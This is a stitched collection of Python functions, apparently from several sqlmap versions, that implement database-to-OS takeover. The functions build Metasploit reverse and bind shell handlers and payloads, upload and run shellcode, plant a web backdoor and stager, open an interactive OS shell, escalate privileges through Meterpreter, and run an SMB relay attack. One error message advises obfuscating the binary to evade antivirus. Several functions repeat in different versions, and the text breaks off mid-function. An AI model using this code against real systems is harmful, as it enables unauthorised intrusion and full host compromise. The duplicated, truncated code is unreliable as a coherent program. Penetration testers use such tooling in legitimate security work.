def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'"
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True
def getRemoteTempPath(self): if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath
def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath
def cleanup(self, onlyFileTbl=False, udfDict=None): """ Cleanup database from sqlmap create tables and functions """ if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): return if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg)
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " -f exe > \"%s\"" % outFile
def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7 #send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems #send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n")
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32" else: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName # __basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") __basename = os.path.basename(self.shellcodeexecLocal) if web: self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) else: self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory) else: self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" elif banVer >= "8.3": majorVer = "8.3" elif banVer >= "8.2": majorVer = "8.2" else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise sqlmapUnsupportedFeatureException, errMsg if Backend.isOs(OS.WINDOWS): self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) self.udfSharedLibExt = "dll" else: self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer) self.udfSharedLibExt = "so"
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self.__payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise sqlmapDataException, "unexpected connection type" if Backend.isOs(OS.LINUX) and conf.privEsc: self.__payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if extra == "BufferRegister=EAX": self.__payloadCmd += ' R | %s -a x86 -e %s -o "%s" -t %s' % ( self.__msfEncode, self.encoderStr, outFile, format, ) if extra is not None: self.__payloadCmd += " %s" % extra else: self.__payloadCmd += ' X > "%s"' % outFile
def autoCompletion(sqlShell=False, osShell=False): # First of all we check if the readline is available, by default # it is not in Python default installation on Windows if not readline._readline: return if osShell: if Backend.isOs(OS.WINDOWS): # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, "echo": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, "ver": None, "xcopy": None, "whoami": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ "cp": None, "rm": None, "ls": None, "echo": None, "mkdir": None, "free": None, "mv": None, "ifconfig": None, "netstat -natu": None, "pwd": None, "uname": None, "id": None, }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") loadHistory() atexit.register(saveHistory)
def shell(self): if self.webBackdoorUrl and not isStackingAvailable(): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg += "command execution" logger.info(infoMsg) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): infoMsg = "going to use injected user-defined functions " infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = raw_input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: print() errMsg = "user aborted" logger.error(errMsg) except EOFError: print() errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command)
def __controlMsfCmd(self, proc, func): stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) proc_out_fd = proc.stdout.fileno() setNonBlocking(proc_out_fd) while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: ready_fds = select([stdin_fd, proc_out_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: proc.stdin.write(blockingReadFromFD(stdin_fd)) except IOError: # Probably the child has exited pass if proc_out_fd in ready_fds[0]: out = blockingReadFromFD(proc_out_fd) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() if "Starting the payload handler" in out and "shell" in self.payloadStr: if Backend.isOs(OS.WINDOWS): proc.stdin.write("whoami\n") else: proc.stdin.write("uname -a ; id\n") metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess: self.__loadMetExtensions(proc, metSess.group(1)) except EOFError: returncode = proc.wait() return returncode
def delRemoteFile(self, tempFile): self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): tempFile = posixToNtSlashes(tempFile) cmd = "del /F /Q %s" % tempFile else: cmd = "rm -f %s" % tempFile self.execCmd(cmd, silent=True)
def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % Backend.getArch() self.udfSharedLibExt = "dll" else: self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % Backend.getArch() self.udfSharedLibExt = "so"
def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll") self.udfSharedLibExt = "dll" else: self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so") self.udfSharedLibExt = "so"
def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True)
def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): debugMsg = "identifying Microsoft SQL Server error log directory " debugMsg += "that sqlmap will use to store temporary files with " debugMsg += "commands' output" logger.debug(debugMsg) _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) debugMsg = "going to use %s as temporary files directory" % conf.tmpPath logger.debug(debugMsg) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath
def _regInit(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath()
def delRemoteFile(self, filename): if not filename: return self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): filename = posixToNtSlashes(filename) cmd = "del /F /Q %s" % filename else: cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True)
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True
def getRemoteTempPath(self): if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): conf.tmpPath = "C:/WINDOWS/Temp" else: conf.tmpPath = "/tmp" if getCompiledRegex("(?i)\A[\w]:[\/\\\\]+").search(conf.tmpPath): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) setRemoteTempPath()
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32" else: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") if web: self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) else: self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal) else: self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): # The DLL can be in any folder where postgres user has # read/write/execute access is valid # NOTE: by not specifing any path, it will save into the # data directory, on PostgreSQL 8.3 it is # C:\Program Files\PostgreSQL\8.3\data. self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) # On Linux else: # The SO can be in any folder where postgres user has # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "5.0.67": if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if self.__plugindir is None and banVer >= "5.1.19": logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__plugindir = "%s/lib/plugin" % self.__basedir else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: #logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir #self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def __forgeMsfCliCmd(self, exitfunc="process"): self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self.__cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self.__cliCmd += " LHOST=%s" % self.lhostStr else: raise sqlmapDataException, "unexpected connection type" if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self.__cliCmd += " DisableCourtesyShell=true" self.__cliCmd += " E"
def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("OS") ) ) if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) if condition: dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), Backend.getOs()))
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = getUnicode(default, UNICODE_ENCODING) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self._skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self._skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice
def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "9.4": majorVer = "9.4" elif banVer >= "9.3": majorVer = "9.3" elif banVer >= "9.2": majorVer = "9.2" elif banVer >= "9.1": majorVer = "9.1" elif banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" elif banVer >= "8.3": majorVer = "8.3" elif banVer >= "8.2": majorVer = "8.2" else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) try: if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" except SqlmapSystemException: errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) raise SqlmapUnsupportedFeatureException(errMsg)
def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all( isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace( "//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace( "//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath( directory) and 